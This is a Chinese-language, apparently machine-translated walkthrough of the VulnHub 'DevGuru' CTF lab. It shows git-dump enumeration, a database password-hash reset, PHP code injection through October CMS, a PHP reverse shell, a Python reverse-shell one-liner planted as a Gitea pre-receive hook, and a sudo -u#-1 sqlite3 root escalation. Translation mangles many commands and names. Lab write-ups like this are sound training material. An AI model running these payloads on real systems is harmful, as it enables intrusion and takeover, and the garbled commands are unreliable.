DevGuru:1个Vulnhub演练
今天,我们要解决另一个名为“ Devguru”的boot2root挑战,而 Zayotic 设计有趣的挑战之一。可在VulnHub进行渗透测试。如果我们具备正确的基础知识来打破实验室并且对侦察过程中发现的所有细节都保持专注,那么这个实验室并不困难。让我们开始学习如何成功分解它。
你可以在这里下载: //www.vulnhub.com/entry/devguru-1,620/
水平:中级
渗透测试方法
网络扫描
- 地图
枚举
- 提取git commit
- 登录到管理员
- 修改用户密码
最初的立足点
- 访问CMS
- 注入恶意PHP代码
- 反向连接
后剥削
- 访问备份文件
- 登录到Gitea
- Gitea恶意代码挂钩
- 捕获User.txt
特权提升
- 滥用sudo
- 捕获Root.txt
网络扫描
让我们借助以下命令进行端口扫描:
1 |
纳帕 -p- -A 192.168.1.32 |
从其输出中,我发现打开了3个端口。在HTTP端口80上,Apache正在运行,它提供了以下git存储库:
1 2 |
192.168.1.32:80/.吉特/ http://devguru.local:8585/frank/devguru-website.git |
在8585端口,我看到“ I_like_gitea”,因此有可能运行gitea。
首先,我们通过添加以下行来编辑/ etc / hosts文件。
1 |
192.168.1.32 德夫古鲁.本地 |
枚举
用 GitDumper 来自 Git工具 工具包,我们将“ /.git/”的所有内容提取到我们的Kali中
1 |
./吉特dumper.SH http://devguru.local/.git 网站 |
现在,我们将使用GitTools Kit提取器工具恢复所有文件,这是一个脚本,试图恢复不完整的git存储库:
- 遍历存储库的所有提交对象。
- 尝试还原提交的内容。
1 |
./提取器.SH ../自卸车/网站 ./网站 |
它将提取提交并将其内的所有文件转储到/ 网站目录中。在解压缩提交文件夹中,我找到了admin.php文件。
我们探索Adminer 4.7.7 DB的admin.php和登录页面
再一次,我回到/7a243ab88e6add580e8fe228a05431d6e4b57a15050b97de844a22694f861dcf2 文件夹并移入 /配置 找到的目录 database.php 文件。
database.php文件存储了mysql DB的登录详细信息。
因此,我使用上述详细信息登录。
1 2 3 |
'数据库' => 'octoberdb', '用户名' => '十月', '密码' => 'SQ66EBYx4GT3byXH', |
在backend_users表中,我看到了用户“ 坦率”的记录,在这里我发现了加密形式的密码,可以使用“编辑”选项卡修改该记录。
在这里,我检查密码是使用bcrypt算法加密的。
因此,我尝试生成一个新密码“拉尚德尔”(使用bcrypt-hash-generator)。
现在,让我们为用户Frank使用上面生成的密码哈希。因此,我为用户坦率编辑了记录并更新了表。
最初的立足点
现在,尝试使用以下frank:rajchandel登录到October CMS。
是时候利用CMS了,它的仪表板对我来说很有趣,在那里我找到了一个执行代码的控制台。因此,我用Google搜索并找到了一个 链接 通过执行PHP代码来利用October CMS。
所以我执行以下代码:
1 2 3 4 |
功能 onStart() { $这个->页[“ myVar”] = 贝壳_exec($_得到['cmd']); } |
然后在Makeup控制台中执行以下代码。
1 |
{{ 页.这个.myVar }} |
现在保存代码,然后单击预览以执行恶意代码。
当您将探索 http://devguru.local?cmd=ls-al 它将列出所有目录,如以下目录所示。
现在,让我们转移恶意反向外壳(Pentest monkey 的PHP反向外壳)。我已经启动了python HTTP服务器,以便可以将shell.php转移到目标计算机中。
因此,使用wget命令,我们尝试上传shell.php
启动netcat侦听器,然后通过浏览以下URL执行恶意php 贝壳。
1 |
德夫古鲁.本地/贝壳.的PHP |
后剥削
繁荣!我们得到了反向连接,让我们进一步列举一下。我们找到 app.ini.bak / var / backup中的文件
在这里,我们找到了gitea DB的另一个登录凭据。
因此,我们以 吉特ea:UfFPTF8C8jjxVF2m
在用户内部的gitea DB中,该表包含user:frank并再次更改密码
因此,我尝试生成一个新密码“拉尚德尔”(使用bcrypt-hash-generator)。现在,让我们为用户Frank使用上面生成的密码哈希。因此,我为用户坦率编辑了记录并更新了表。
然后,我导航到超过8585的gitea并使用以下凭据登录。
1 2 |
用户: 坦率 密码: 拉尚德尔 |
在这里,我们获得了仪表板,并找到了frank / 德夫古鲁-website的链接。
单击图像中突出显示的设置。
点击 吉特·胡克斯> pre-receive > Hook Content 然后执行python反向外壳程序和代码。
1 |
python3 -c 'import socket,subprocess,os; s = socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect((“ 192.168.1.2”,1234)); os.dup2(s.fileno(),0) ; os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p = subprocess.call([“ / bin / SH”,“-i”]);' |
但是您需要更新存储库以执行python代码,因此返回存储库并打开README.md
现在,通过在文件末尾添加一些空白行来编辑文件,然后单击“提交更改”。一旦您单击“提交更改”,它将更新存储库,并且您将通过netcat会话获得反向连接。
因此,我们得到了反向连接,在其中找到了user.txt文件,这是我们的1ST 旗。
特权提升
然后,为了提升特权,我们检查了Sudo权限,发现用户frank可以使用root特权运行sqlite3,而且sudoers插件的安装版本也很容易受到攻击。
我们发现了一个利用 这里.
然后,我执行以下命令以获得root特权shell并读取root.txt,这是我们的最终标志。
1 |
须藤 -u#-1 sqlite3 / dev / null'.shell / bin / bash' |
这是一个非常有趣且完全不同的CTF挑战,我学到了一些新技术来访问数据库和通过不同平台进行代码注入。
作者:Chiragh Arora是Hacking 文章的一位热情的研究员和技术作家。他是一个黑客狂热者。联系 这里